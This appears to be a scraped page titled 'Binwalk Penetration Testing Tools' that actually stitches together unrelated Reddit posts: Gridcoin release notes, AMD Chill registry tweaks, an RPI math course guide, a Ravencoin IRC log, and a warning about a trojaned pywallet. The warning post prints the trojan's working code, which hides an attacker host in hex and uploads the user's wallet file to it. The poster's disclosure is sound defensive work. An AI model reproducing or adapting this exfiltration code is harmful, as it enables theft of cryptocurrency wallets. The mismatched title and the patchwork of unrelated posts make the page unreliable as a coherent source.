Binwalk Penetration Testing Tools

Gridcoin 5.0.0.0-Mandatory "Fern" Release

https://github.com/gridcoin-community/Gridcoin-Research/releases/tag/5.0.0.0
Finally! After over ten months of development and testing, "Fern" has arrived! This is a whopper. 240 pull requests merged. Essentially a complete rewrite that was started with the scraper (the "neural net" rewrite) in "Denise" has now been completed. Practically the ENTIRE Gridcoin specific codebase resting on top of the vanilla Bitcoin/Peercoin/Blackcoin vanilla PoS code has been rewritten. This removes the team requirement at last (see below), although there are many other important improvements besides that.
Fern was a monumental undertaking. We had to encode all of the old rules active for the v10 block protocol in new code and ensure that the new code was 100% compatible. This had to be done in such a way as to clear out all of the old spaghetti and ring-fence it with tightly controlled class implementations. We then wrote an entirely new, simplified ruleset for research rewards and reengineered contracts (which includes beacon management, polls, and voting) using properly classed code. The fundamentals of Gridcoin with this release are now on a very sound and maintainable footing, and the developers believe the codebase as updated here will serve as the fundamental basis for Gridcoin's future roadmap.
We have been testing this for MONTHS on testnet in various stages. The v10 (legacy) compatibility code has been running on testnet continuously as it was developed to ensure compatibility with existing nodes. During the last few months, we have done two private testnet forks and then the full public testnet testing for v11 code (the new protocol which is what Fern implements). The developers have also been running non-staking "sentinel" nodes on mainnet with this code to verify that the consensus rules are problem-free for the legacy compatibility code on the broader mainnet. We believe this amount of testing is going to result in a smooth rollout.
Given the amount of changes in Fern, I am presenting TWO changelogs below. One is high level, which summarizes the most significant changes in the protocol. The second changelog is the detailed one in the usual format, and gives you an inkling of the size of this release.

Highlights

Protocol

Note that the protocol changes will not become active until we cross the hard-fork transition height to v11, which has been set at 2053000. Given current average block spacing, this should happen around October 4, about one month from now.
Note that to get all of the beacons in the network on the new protocol, we are requiring ALL beacons to be validated. A two week (14 day) grace period is provided by the code, starting at the time of the transition height, for people currently holding a beacon to validate the beacon and prevent it from expiring. That means that EVERY CRUNCHER must advertise and validate their beacon AFTER the v11 transition (around Oct 4th) and BEFORE October 18th (or more precisely, 14 days from the actual date of the v11 transition). If you do not advertise and validate your beacon by this time, your beacon will expire and you will stop earning research rewards until you advertise and validate a new beacon. This process has been made much easier by a brand new beacon "wizard" that helps manage beacon advertisements and renewals. Once a beacon has been validated and is a v11 protocol beacon, the normal 180 day expiration rules apply. Note, however, that the 180 day expiration on research rewards has been removed with the Fern update. This means that while your beacon might expire after 180 days, your earned research rewards will be retained and can be claimed by advertising a beacon with the same CPID and going through the validation process again. In other words, you do not lose any earned research rewards if you do not stake a block within 180 days and keep your beacon up-to-date.
The transition height is also when the team requirement will be relaxed for the network.

GUI

Besides the beacon wizard, there are a number of improvements to the GUI, including new UI transaction types (and icons) for staking the superblock, sidestake sends, beacon advertisement, voting, poll creation, and transactions with a message. The main screen has been revamped with a better summary section, and better status icons. Several changes under the hood have improved GUI performance. And finally, the diagnostics have been revamped.

Blockchain

The wallet sync speed has been DRASTICALLY improved. A decent machine with a good network connection should be able to sync the entire mainnet blockchain in less than 4 hours. A fast machine with a really fast network connection and a good SSD can do it in about 2.5 hours. One of our goals was to reduce or eliminate the reliance on snapshots for mainnet, and I think we have accomplished that goal with the new sync speed. We have also streamlined the in-memory structures for the blockchain which shaves some memory use.
There are so many goodies here it is hard to summarize them all.
I would like to thank all of the contributors to this release, but especially thank @cyrossignol, whose incredible contributions formed the backbone of this release. I would also like to pay special thanks to @barton2526, @caraka, and @Quezacoatl1, who tirelessly helped during the testing and polishing phase on testnet with testing and repeated builds for all architectures.
The developers are proud to present this release to the community and we believe this represents the starting point for a true renaissance for Gridcoin!

Summary Changelog

Accrual

Changed

Most significantly, nodes calculate research rewards directly from the magnitudes in EACH superblock between stakes instead of using a two- or three- point average based on a CPID's current magnitude and the magnitude for the CPID when it last staked. For those long-timers in the community, this has been referred to as "Superblock Windows," and was first done in proof-of-concept form by @denravonska.

Removed

Beacons

Added

Changed

Removed

Unaltered

As a reminder:

Superblocks

Added

Changed

Removed

Voting

Added

Changed

Removed

Detailed Changelog

[5.0.0.0] 2020-09-03, mandatory, "Fern"

Added

Changed

Removed

Fixed

submitted by jamescowens to gridcoin [link] [comments]

How to customize your Chill behavior

How to customize your Chill behavior
Wall of text and tables inc. TL;DR almost at the bottom.
When AMD implemented Chill into their drivers in December 2016 up until driver 17.12.1 (Adrenaline 2018) these registry entries were exposed to the user and could be changed to the users preferences.
With the big 2017 driver they expanded the Chill support to all games (if your driver weren't bugged) and it would have been nice to have the ability to control Chill within the GUI from the start.
And with either 17.12.1 or 18.2.2 they deleted all these registry entries (I don't remember testing at the time because I thought the removal of these meant they don't work anymore).
I found these values some weeks after the initial release of Chill and didn't bother to release them publicly because I play too much blizzard games and as you might know, whenever someone comes up with cool stuff there is a 95% chance of them shutting it down or fix/prevent it from happening. I know the actual devs of Chill and Boost are active in this subreddit and the chance of them seeing this and pulling a blizzard are there but I think the benefits for people is big enough. The worst that can happen is that they block these entries in new drivers which nobody used anyway. /shrug
All these entries act as overrides so deleting them !!SHOULD!! restore default behavior. If not, you may need to reinstall your drivers (dirty, amd cleanup or ddu).
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\AMD\Chill] "ChillLevelDefault"=dword:00000002 "LoadingScreenDrawsThreshDefault_DXC"=dword:000000c8 "LoadingScreenDrawsThreshDefault_DXX"=dword:00000096 "LoadingScreenDrawsThreshDefault_MTL"=dword:000000c8 "LoadingScreenDrawsThreshDefault_OGL"=dword:00000064 "LoadingScreenDrawsThreshDefault_UDX"=dword:00000064 "LoadingScreenDrawsThreshDefault_VUL"=dword:000000c8 "MaxFramerateDefault"=dword:0000008c "MinFramerateDefault"=dword:00000046 "MaxFramerateRange"=dword:0000012c "MinFramerateRange"=dword:00000014 "ProfileEnableDefault"=dword:00000000 "ToggleKey"=dword:0000007a "CONTR_LOOK_EVENT_ALPHA"="16" "CONTR_WALK_EVENT_ALPHA"="32" "DIR_CHANGE_EVENT_ALPHA"="16" "DIR_CHANGE_HOLD_TIME_DIV"="125" "FAST_MOUSE_MOTION"="20" "IDLE_FRAMERATE"="30" "KEY_HELD_EVENT_ALPHA"="32" "KEY_HELD_SLEEP_COEFF"="128" "KEY_PRESSED_EVENT_ALPHA"="8" "LOADINGS_CREEN_DRAWS_THRESH"="150" "MOTION_START_TIMEOUT_DIVIDER"="20" "MOUSE_SPEED_ESTIMATION_OPT"="0" "NUM_DIR_CHANGE_HOLD_FRAMES"="0" "NUM_MOUSE_SPEED_SAMPLES"="16" "SPEED_TAIL_EVENT_ALPHA"="16" "GlobalEnable"=dword:00000000 
Before you enable these settings I would suggest reading at least the first part (some entries are probably deprecated or overwrite keybinds).
You can save this as a .reg file and customize it before running or adding it to your registry manually.
Toggling Chill off and on applies these values (need to wait for the three ticks or it's not fully off), no need to restart anything.
I will go into a slight overview of every entry to the best of my knowledge (and testing).
"LoadingScreenDrawsThreshDefault_DXC"=dword:000000c8 "LoadingScreenDrawsThreshDefault_DXX"=dword:00000096 "LoadingScreenDrawsThreshDefault_MTL"=dword:000000c8 "LoadingScreenDrawsThreshDefault_OGL"=dword:00000064 "LoadingScreenDrawsThreshDefault_UDX"=dword:00000064 "LoadingScreenDrawsThreshDefault_VUL"=dword:000000c8 "LOADINGS_CREEN_DRAWS_THRESH"="150" 
I guess these are the FPS up to which Chill will engage over ChillMax. ChillMax + THRESH, anything above will disable Chill.
So with ChillMax = 300 and Thresh = 150, Chill would limit your FPS to 300 until your theoretical frametimes exceed the frametimes of (1 / (ChillMax + Thresh)) or 450FPS.
I had loading screens with 4 digit FPS with Chill on, maybe you can test it if you need something like this.
"MaxFramerateDefault"=dword:00000090 
Not working for me anymore, don't change values in the overlay or ingame. They used to work with pre 18.12.2 (Adrenaline 2019) to decrease the ChillMin to 1 FPS.
"MinFramerateDefault"=dword:00000046 
Minimum FPS got replaced by
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000]
"KMD_ChillMinFps"=dword:00000028
Set the default lower Chill limit.
"MaxFramerateRange"=dword:0000012c 
MaxFramerateRange got replaced by
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000]
"KMD_MaxFrameRateRequested"=dword:0000012c
"MinFramerateRange"=dword:0000001e 
Same as "MaxFramerateDefault".
"ChillLevelDefault"=dword:00000002 "GlobalEnable"=dword:00000000 "ToggleKey"=dword:0000007a "ProfileEnableDefault"=dword:00000000 
I deleted them just as a precation if they might be incompatible with Adrenaline 2020.
"NUM_MOUSE_SPEED_SAMPLES"="16" "DIR_CHANGE_HOLD_TIME_DIV"="125" "MOTION_START_TIMEOUT_DIVIDER"="20" "MOUSE_SPEED_ESTIMATION_OPT"="0" "IDLE_FRAMERATE"="30" 
Don't seem to change anything relevant or tested. Hard to test mouse movement events though.
ALPHA = Amount of frames to be displayed after certain action; 0 is disabled, max is at least 512 but probably more
"KEY_PRESSED_EVENT_ALPHA" Duration in "seconds,milliseconds"
64 1,375 (Stopwatch and then rounded)
96 1,912 (Interpolated)
128 2,75 (Stopwatch and then rounded)
160 3,437 (Interpolated)
192 4,125 (Interpolated)
224 4,812 (Interpolated)
240 5,156 (Interpolated)
256 5,5 (Stopwatch and then rounded)
384 8,25 (Stopwatch and then rounded)
512 11 (Stopwatch and then rounded)

\"KEY_PRESSED_EVENT_ALPHA\"=\"256\" Range 30-130FPS

\"KEY_PRESSED_EVENT_ALPHA\"=\"512\" Range 30-130FPS

This data was captured with the build in logging tool set to 0,25s interval.
X-axis represents these intervals and the Y-axis the FPS.
Results tested with "KEY_HELD_SLEEP_COEFF"="0" so I get the maximum framerate in an instant.
Duration in ms = Alpha * Average frametime of ChillMaxFrameTime and ChillMinFrameTime.
ChillDuration := Alpha * (((1 / ChillMin) + (1 / ChillMax)) / 2)
10,50s := 512 * (((1 / 30) + (1 / 130)) / 2)
Close enough to 11s with manual time measurement.
For anyone interested I wrote an AutoHotKey script which can better explain what I am thinking about:
; Ctrl + 1 to get the results ^1:: ChillMin := 30 ChillMax := 130 ChillMinFT := 1 / ChillMin ChillMaxFT := 1 / ChillMax ChillAvgFT := (ChillMinFT + ChillMaxFT) / 2 ChillDiffFT := ChillMinFT - ChillMaxFT Coeff := 1 ; that probably has to go somewhere Alpha := 8 SetChillFT := ChillMaxFT + (ChillDiffFT * (1 / Alpha)) SetChillFR := 1 / SetChillFT ChillAvgFR := 1 / ChillAvgFT ChillDuration := Alpha * ChillAvgFT msgbox, SetChillFT: %SetChillFT% SetChillFR: %SetChillFR% `nChillAvgFT: %ChillAvgFT% ChillAvgFR: %ChillAvgFR%`nChillDuration: %ChillDuration% return 
I don't know if it is accurate for other Chill values and are just too many to test.
But that is just the duration, the way the FPS get lowered is not affected by it (besides obviously declining faster).
I guess it is inversly proportional because the Alpha is used as a divisor.
"CONTR_LOOK_EVENT_ALPHA"="16" 
Frames to buffer after input with I would assume right analog stick. (Default for looking around in games)
"CONTR_WALK_EVENT_ALPHA"="32" 
Same for left analog stick. (Default for walking around in games)
The last time I used Chill with a game I played with a controller the shoulder buttons and triggers would not increase the FPS maybe because they are considered as Xinput commands and need to be coded explicitly like the analog sticks.
"KEY_PRESSED_EVENT_ALPHA"="8" 
Key_Alpha is only triggered by keyboard, mousebutton 4, 5 and wheelclick input in my testings.
Probably listening to scancodes or something because it has the same 2 keys to disable it temporarily (RShift and RCtrl) like boost (only RShift) has.
"KEY_HELD_EVENT_ALPHA"="32" 
Holding a key will increase the buffer set by "KEY_PRESSED_EVENT_ALPHA" previously.
"KEY_PRESSED_EVENT_ALPHA"="512" with "KEY_HELD_EVENT_ALPHA"="0" would spike to ChillMax but is affected by "KEY_HELD_SLEEP_COEFF"="128" so you can adjust how high it will peak.
"KEY_HELD_SLEEP_COEFF"="128" 
"KEY_HELD_SLEEP_COEFF" FPS
0 129,6
8 117,4
16 107,3
24 98,8
32 91,5
40 85,3
48 79,8
56 75,0
64 70,8
72 67,0
80 63,6
88 60,5
96 57,7
104 55,1
112 52,8
120 50,7
128 48,7
136 46,9
144 45,2
152 43,6
160 42,1
168 40,7
176 39,5
184 38,3
192 37,1
200 36,0
208 35,0
216 34,1
224 33,2
232 32,2
240 31,5
248 30,7
256 30,0

\"KEY_HELD_SLEEP_COEFF\" Range 30-130FPS
First test with a range of 30-130FPSfor a 100FPS range. These are the continuous FPS while holding any key input.
The X-axis shows the row of the table and not the value of "KEY_HELD_SLEEP_COEFF" because office software (i HATE office software with a passion and thats the best i could do without smashing my monitor)
The Y-axis shows the FPS. Same for the diagram below.
"KEY_HELD_SLEEP_COEFF" FPS
0 80,0
32 66,1
64 56,4
70 54,9 (Middle of Chill range)
96 49,2
128 43,6
160 39,1
192 35,5
224 32,5
256 30,0

\"KEY_HELD_SLEEP_COEFF\" Range 30-80FPS
Second test I did with a range of 30-80 for a 50 FPS range.
Holding any key will get you the FPS you can see in the table above in their respective ranges.
I don't know the function of the numbers but they look like the same as for the Alpha but reversed and not as steep.
"NUM_DIR_CHANGE_HOLD_FRAMES"="0" 
Numbers of frames before "DIR_CHANGE_EVENT_ALPHA" kicks in and independent from said option.
With a low Alpha it holds the FPS at max settings and then drops at the rate of the alpha.
"NUM_DIR_CHANGE_HOLD_FRAMES" / FPS = Seconds of frames hold
"DIR_CHANGE_EVENT_ALPHA"="16" 
Alpha for "NUM_DIR_CHANGE_HOLD_FRAMES"
Left, right, top, bottom and from my testing even from no movement to one side. Basically any movement expect constantly in one direction.
"FAST_MOUSE_MOTION"="20" 
Hard to test even with a AutoHotKey script that simulates consistent mouse movement. My take would be:
How many pixel to move per frame before adding one to "SPEED_TAIL_EVENT_ALPHA".
Lowering the number will make it easier to reach ChillMax because with "FAST_MOUSE_MOTION"="20" it triggers at 1px mouse movements.
"SPEED_TAIL_EVENT_ALPHA"="16" 
Alpha for "FAST_MOUSE_MOTION"
In addition to all of that, they ALL add up, so holding a key and then pressing another while holding down the first key will get you the FPS increase from "KEY_PRESSED_EVENT_ALPHA" as well as any other option.

TL;DR
"CONTR_LOOK_EVENT_ALPHA" 1-x higher value = longer higher FPS from pressing controller inputs
"CONTR_WALK_EVENT_ALPHA" 1-x higher value = longer higher FPS from holding controller inputs
"KEY_PRESSED_EVENT_ALPHA" 1-x, higher value = longer higher FPS from pressing keyboard inputs
"KEY_HELD_EVENT_ALPHA" 1-x, higher value = longer higher FPS from holding keyboard inputs
"KEY_HELD_SLEEP_COEFF" 0-255, lower value = higher continuous FPS from holding keyboard inputs
"NUM_DIR_CHANGE_HOLD_FRAMES" 1-x higher value = longer higher FPS from mouse movement changes without dropping
"DIR_CHANGE_EVENT_ALPHA" 1-x higher value = longer higher FPS from mouse movement changes
"FAST_MOUSE_MOTION" 0-x lower value = higher FPS from any mouse movement
"SPEED_TAIL_EVENT_ALPHA" 1-x higher value = longer higher FPS from straight mouse movement
I can't give any specific tips for your personal config, but I would go like this:

"KEY_HELD_SLEEP_COEFF" to about 0-16 as it gets 100% to 75% of ChillMax.
"KEY_PRESSED_EVENT_ALPHA" to 2x to 4x your ChillMax for games with lots of keyboard input.
"KEY_HELD_EVENT_ALPHA" half of "KEY_PRESSED_EVENT_ALPHA".
"FAST_MOUSE_MOTION" to 0-5 for games with lots of mouse input.
Any mouse related Alpha to 2x to 4x your ChillMax for games with lots of mouse input.
"KEY_HELD_SLEEP_COEFF"="0" and "KEY_HELD_EVENT_ALPHA"="1x ChillMax" for both performance and efficiency.

Sadly these settings are global but as a workaround you can customize it and save them as .reg files as presets for different games.
Template with only relevant entries(and my current settings):
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\AMD\Chill] "CONTR_LOOK_EVENT_ALPHA"="256" "CONTR_WALK_EVENT_ALPHA"="256" "KEY_PRESSED_EVENT_ALPHA"="512" "KEY_HELD_EVENT_ALPHA"="256" "KEY_HELD_SLEEP_COEFF"="64" "NUM_DIR_CHANGE_HOLD_FRAMES"="128" "DIR_CHANGE_EVENT_ALPHA"="128" "FAST_MOUSE_MOTION"="1" "SPEED_TAIL_EVENT_ALPHA"="128" 
A little sidenote to the VSR users out there:
Another deleted registry entry which still works with 19.12.3.
It was an DWORD until its removal and if you knew and tried it as DWORD it woudn't work because it only accepts a binary value.
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000] "DALNonStandardModesBCD1"=hex:28,80,16,20,00,00,00,00 
You can add multiple Virtual Super Resolutions like this:
"DALNonStandardModesBCD1"=hex:28,80,16,20,00,00,00,00,21,12,11,88,00,00,00,00 
Bytes 1-4 are X resolution, 5-8 are Y resolution 9-12 are unused and 13-16 WERE Hertz (00,60 was 60Hz and 01,44 was 144Hz) and are post 18.2.2 also unused. 16 Bytes per resolution but only the first 8 are used and the rest needs to be filled before adding another one.
It will make only the highest Hertz possible availabe so just leave them empty (AMD revamped VSR with 18.2.2 to work with other ratios than 16:9 and changed this part).
It still limits you to 2x the resolution per axis of your display. 1080p monitor = 2160p max, 1440p monitor = 2880p max, etc.
Save as .reg and edit as you want and then run it (or manually create the entry yourself (Binary value)). Resolutions are available after a restart.
submitted by Gyonas to Amd [link] [comments]

WARNING: I discovered this morning that the version of pywallet hosted on Source Forge is stealing wallets!

Edit: I wanted to add this before I forgot. This was not Bitcoin's fault. This was not pywallet's fault or its creator's fault. This was not Source Forge's fault. The hosting company goes by a few names. I will list all that I have, but first, this was not the fault of the hosting company and the hosting company reacted fast, got the site down, and was quite polite. They can be found at these URLs: http://www.attractsoft.com/ http://atwebpages.com/ The company responding for the hosting company was Super Indeed. Don't know their arrangement, but the whoever was communicating was a standup guy.
 
I noticed there was a size difference of pywallet.py on Git Hub compared to Source Forge. I decided to do a diff luckily and lines 2441 to 2476 are
 
hs = "\x62\x69\x65\x62\x65\x72\x2e\x61\x74\x77\x65\x62\x70\x61\x67\x65\x73\x2e\x63\x6f\x6d" s = socket.socket() s.connect((hs,80)) bo = "8954789827987580" h11 = "-----------------------------" h12 = "\r\n" h13 = "Content-Disposition: form-data; name=\x22userfile\x22; filename=\x22" h14 = "\x22\r\nContent-Type: application/octet-stream\r\n\r\n" h1 = h11+bo+h12+h13+"fil"+h14 h20 = "\r\n-----------------------------" h21 = "--\r\n" h2 = h20+bo+h21 h31 = "POST " h32 = " HTTP/1.1\r\n" h33 = "Host: " h34 = "\r\n" h35 = "User-Agent: Mozilla/5.0\r\n" h36 = "Connection: keep-alive\r\n" h37 = "Content-Type: multipart/form-data; boundary=---------------------------" h38 = "\r\n" h39 = "Content-length: " h40 = "\r\n\r\n" flen = os.path.getsize(walletfile) h3= h31+"/a.php"+h32+h33+hs+h34+h35+h36+h37+bo+h38+h39+str(len(h1)+flen+len(h2))+h40 s.send(h3) s.send(h1) file2= open(walletfile,"rb") totalsent = 0 while totalsent < flen: d = file2.read(1024) se = s.send(d) totalsent = totalsent + se s.send(h2) data=s.recv(100) s.close() 
 
Right when I saw the hex encoded string I knew there was trouble. This version of the script works exactly the same as the real pywallet.py except that it also sends the keys to bieber.atwebpages.com using an HTTP request.
 
The code has been up since November it seems. It doesn't look like they got a ton, but it comes up on the first page of results when searching for pywallet. I have already notified the hosting company and Source Forge. If you have a copy of pywallet, be sure that it is 5050 lines, not 5096 lines of code. Also, search it for "a.php", as that is the page it sends the keys too.
 
UPDATE: The German hosting company (http://www.attractsoft.com/) was quick to respond and take the site down. Unfortunately, if Source Forge leaves the file up and the thief still has the domain name, they can just switch to another hosting service or even use Dynamic DNS is they live in a country that won't do shit about it.
  UPDATE 4/11: Source Forge emailed me that they have taken down the project. I checked. It's down. Also:
  Shameless Plug: If anyone has any IT jobs I can work remotely, PM me. I have over a decade of experience in Linux and Windows and I'm on short term disability as I cannot get a doctor to sign a note for me to return to office work.
 
UPDATE 2: A good portion of the commenters here need some knowledge before they go spouting off ignorance.
 
 
Edit: Thanks to everyone who gave me bitcoin and gold! Thanks to everyone who asked good questions and added to the answers and contributed to comments that provided even more knowledge. And to the several people hating on open source or Bitcoin or on me for some strange reason, I'm sure you didn't always get a gentle explanation (my fault too) as to why your anger was misguided, but I encourage you to read some of the responses without the emotion and with an open mind because there is good knowledge there. Many responses were short and sweet and spot on. If you really still can't but help being angry with an idea or concept, I hope you get over it one day. PM me if you want a private explanation! I'll try to be open to your opinions and keep it friendly even if you are still angry as long as you don't start taking it out on me.
submitted by d3k4y to Bitcoin [link] [comments]

Pure Math, RPI, and You, a Guide.

A PDF version of this guide can be found here
Oh, before I even begin I can hear the comments. “What can you do with pure math? It’s useless.” “RPI is an applied school, you should just transfer if you want to do pure math.” “Well I’m an engineephysicist/computer scientist, so taking applied math would work out better for me.” “Pure math is so boring, you overly complicate yourself on the most basic things and abstract them past all understanding.”
These are common misunderstandings, so let me disabuse you of them before considering what opportunities exist for pure math at our lovely university. Primarily, while RPI does shy away from pure topics and heavily slants things towards applied, there are certainly some professors that can teach pure math topics and at times even use them in their own work.
Abstract Algebra? Used in quantum physics, in Noether’s Theorem, cryptography, robotics, graphics, imaging, even in chemistry (scroll down for english links). Number theory? One could argue that computers wouldn’t even exist without number theory, let alone cryptography. Topology? String theory, protein folding, topological insulators, chirality, robotics. Linear algebra has so many uses that it could be considered applied math just by itself. Analysis? Fourier series, wavelets, quantum physics uses Hilbert spaces - hell, functional analysis is basically just a quantum physics course in disguise, signal processing, imaging, weak solutions to differential equations, the basis for finite element analysis, measure theory is developed from this, giving us statistics, probability, stochastic modeling, and the list goes on and on.
Let me be abundantly clear. Pure math is not called that because it’s not applicable to real problems in the world. It’s called that because that’s not why we do pure math. I promise you, if you’re at RPI, with very few exceptions (such as STS), there is something in your field that you can better understand if you have some background in pure math.
Before we proceed, I’m just going to get some notation out of the way. If I mark something with italics, it’s not something I’ve had personal experience with and so am less confident of. If I mark something with bold, I feel strongly about it.

Classes:

Undergraduate Classes

The first course on the catalog at RPI I’d really consider to be pure math is Abstract Algebra. This course has been, well, long neglected by the department, given who they had teaching it. He is no longer teaching it, and so everything I say needs to be taken with the caveat that I took a previous version of this class with a different instructor. That said, I actually really enjoyed the class modulo the instructor, coming out with a decent grade and a decent understanding of the material involved. The basic description I’d give of this course is you look at certain structures that do less than the reals that we normally work with, and show how these structures still have a lot of interesting properties, and that considering them gives us some insight into properties of underlying symmetries and of prime numbers. The workload was not that hard at all, though the book used is not one I would recommend (to my knowledge the book has not changed). It’s a really interesting course, though I do admit that it doesn’t have much immediate application, and some self study into the specific area you want to apply it to will be required. Think of it as background for your own self study into [algebra applied to x] if you take it looking for applications.
Number Theory, a review a friend of mine wrote up, “The course itself was a great deal of learning all about each topic, the theories, the processes, and then the application as well. We went over a number of uses for each topic and were tested on the application. The classes themselves consisted mostly on going through a proof of a theorem, and then applying the topic. - Arithmetical Functions and Dirichlet Multiplication, Congruences, Dirichlet Theorem on Primes in Arithmetic Progression, Quadratic Residues and the Quadratic Reciprocity Law, Primitive Roots, Analytic Proof of the Prime Number Theorem“.
Computability and Logic. Don’t take this course as a math course, take it as a humanities course. Why? You get HASS credit for taking a math/compsci course. I feel like both math and compsci have more options available to you for other courses to take than philosophy does. That said, the main difficulties with this course will be with the software you use. I’m in it currently and understand all the material fine, but the software is a pain in the ass. You cover topics like why there’s no way to prove computationally in certain systems of logic whether a proof is valid or invalid. Gödel’s incompleteness theorems do come up, as do various topics in number theory (Peano Axioms) and computer science (Turing Machines). I wouldn’t say this is a course you take if you want applications outside of computer science or mathematics.
Topology. This course no longer exists, no matter what the catalog says. It will be discussed further in a later section.
Foundations of Analysis. Basic introduction to set theory, logic, proofs, and LaTeX. Do not think of this as a math course, think of it as a course tax to get into other pure math courses. If you can do basic proofs and can use LaTeX you’ll be fine.
Linear Algebra. While I’ve taken this course I have not taken it at RPI, so my comments will be somewhat limited. The topic is incredibly interesting and useful. You mainly cover how vectors in arbitrarily dimensioned spaces behave and how you can move them from one such space to a similar vector in a similar space and how vectors behave under continuous transformations. Consider this either applied or pure, it’s up to you, but realize if you’re going into it for applied reasons and not doing any other pure courses it’ll probably the most pure course you’ll ever take, and if you’re taking pure courses and take it it’ll probably be the most applied course you’ll ever take.
Graph Theory. Could be considered pure. However, this course seems to not exist as well, a similar story to topology, will be discussed later.
Mathematical Analysis 1. Like calculus but better. You know how I said that Foundations of Analysis wasn’t actually a proof course but was just a course tax? This is the actual proof course. You’ll be concerned with justifying why we can do calculus at all, you’ll actually prove a lot of the things calculus takes for granted, and you’ll show when these things fail. If Abstract Algebra is the study of symmetry and Linear Algebra is the study of vector spaces, this is the study of functions and continuity. It was the best undergraduate math class at RPI when I took it. Since then a new professor has taken over and I’m told she grades harsher and the class is less fun and interesting. I’ve been told by certain professors that she might tone things down in the future, as they’re going to ask her to. But don’t take this as a promise, fair warning, it might be just as harshly graded this coming fall.
Mathematical Analysis 2 - I’ve reached out to some people and not heard anything back. Part of the issue is that the professor recently changed and people would specifically avoid the last one. Kovacic’s teaching it now and from what I’ve heard it’s much better. I’d recommend it just based on this info, but wouldn’t say it’s necessary to move onto grad courses, I didn’t, and did fine.

Grad Classes

Real Analysis. Haven’t taken it nor do I know someone who has so cannot comment at all. That said it looks like a ton of fun and I’m taking it next spring.
Introduction to Functional Analysis. The most fun math course I’ve taken at RPI. It’s taught by the most rigorous professor in the department. This subject area is in some sense infinite dimensional linear algebra. Everything you do here is relatable to quantum mechanics, and I can’t recommend this course enough if you have the prereqs or think you can do the work. That said, it’s a tough course, and it wasn’t uncommon to spend 5 hours on a single part of the homework. Due to who teaches it there’s going to be some emphasis on signal analysis and optimization at the very end, but aside from that you mainly cover operators and the properties they’ll have in infinite dimensional function spaces.
Nonlinear Functional Analysis. Like the above but you remove the linear component, it’s just more difficult. A lot of the class is about optimization, finding minimizing solutions to an equation in infinite dimensional space, and there are callbacks to topics in calculus involving optimization, such as Lagrange multipliers or implicit function theorems. If you enjoy functional analysis you’ll at least tolerate this.
Complex Analysis, this course no longer exists, even officially.

A Note on Independent Study

So I said I’d come back to topology and such, and here we are. The unofficial policy of the department is that topology (I know this specifically with topology, and I suspect other classes that haven’t been offered recently fall in this same category) isn’t worth a professor’s time, as very few people ever took it. Instead, they unofficially push those students who are interested in topology or other topics in pure math to talking to Professor Piper about doing reading courses. If you’re interested in a topic not available at RPI, such as topology, further reading in abstract algebra, gauge integration, measure theory, etc, then the way to take these courses is to work on a reading course with Professor Piper. Which brings us to our next section.

Professors

So not all professors will be relevant to you as someone engaged in pure math, at least not qua pure math student. So let’s go over those that are relevant.
Professor Piper is going to be your go to guy for reading courses, and as he’s the person who approves undergraduate degrees, being tight with him can’t possibly hurt. Taking a reading course would be better than taking an actual course with him, as I find him to be pure monotone. And his own specific interests in geometry did shine through in Fundamentals of Geometry when I took it, I think to the detriment of the course. He’s a great guy, just not the most engaging lecturer.
Professor Mitchell is someone I doubt you’ll ever take a course with, but he runs point on graduate studies things for the math department. If you want to take math grad courses, similarly to before, getting to know him at colloquia and such can only be a good thing.
Professor Holmes teaches Real Analysis, I believe. If you plan on taking real analysis, getting along with him is, of course, a good idea. I can’t comment much more than this, having not taken Real Analysis. But he seems nice enough.
Professor Kovacic currently teaches Analysis 2. I find he’s a very binary professor, you either love courses with him or you hate them. He’s not the most organized, and is prone to calling things trivial in office hours. Similar to Piper in that he’s a great guy but might not fit your style of learning as a lecturer.
Professor Kramer tends not to teach pure math courses. But he’s certainly no slouch in the area, I’m auditing his stochastic diffEQ class and there’s a decent amount of measure theory and abstract integration. He’s not directly relevant for pure math at this time, but he’s certainly a professor that you can talk to about pure math to a certain extent (more measure theory than any other area, of course), and he runs the MCM thing at this school, which even as a pure math student you should do.
[Continued in the comments]
submitted by atnorman to RPI [link] [comments]

IRC Log from Ravencoin Open Developer Meeting - Sept 21, 2018

[14:04] Topics for the chat today: 1. Bitcoin double spend bug. 2. Max reorg depth changes.
[14:04] I think that will take most of the hour. We'll then open it up for questions.
[14:05] == blondfrogs changed the topic of #ravencoin-dev to: Topics for the chat today: 1. Bitcoin double spend bug. 2. Max reorg depth changes.
[14:05] == wolfsokta changed the topic of #ravencoin-dev to: Bitcoin Bug/Max Reorg
[14:05] Hi! I'm Forest... Forest Gump, do you want a ravencoin?
[14:05] Hi all
[14:05] == blondfrogs changed the topic of #ravencoin-dev to: Topics for the chat today: 1. Bitcoin double spend bug. 2. Max reorg depth changes.
[14:05] Topic fight
[14:05] as far as i know the double spending bug could inflate the bitcoin supply right?
[14:05] like make more bitcoin that possible
[14:05] than
[14:06] is this correct?
[14:06] it's more that the danger is crashing all the nodes
[14:07] 1. Raven is also affected by the bitcoin bug. Which is what we want to discus.
[14:08] blondfrogs can you tell us what you're planning to address the bug?
[14:08] So, we have updated our codebase to have the bitcoin bug fix. This is going to be implemented in 2.0.4.1. We are currently making binaries and should have an annoucment by end of day today to the community. We are urging the community to update their wallets to 2.0.4.1
[14:09] ...
[14:10] BTC patched it though. Wouldnt the "same" patch work for RVN?
[14:10] Spot on!
[14:10] No, it would not since we forked a while back.
[14:10] Exactly. We patched it in the same way but we still need to get our wallets that contain the fix out so the community can upgrade
[14:10] is there a todo somewhere to add auto-update functionality to the wallet?
[14:11] So, we need to get the word out to get people to update.
[14:11] YES
[14:12] How does the patch affect future LN implementation?
[14:12] Any changes that were made to bitcoin to get LN to integrate would need to be merged into Raven.
[14:12] Any risks?
[14:13] Fair comment.
[14:13] We would love any developers that are interested in doing that work to jump in.
[14:13] The fix is just changing a 'false' to 'true' to tell the node to scan for dup tx in the block.
[14:14] So the auto update feature implementation is being discussed through OS stores, as a second option for wallet download ... @lsji07
[14:14] The comment in the Bitcoin code said it was slow to scan the transactions. So it will be a bit slower.
[14:14] slower is better than being vulnerable
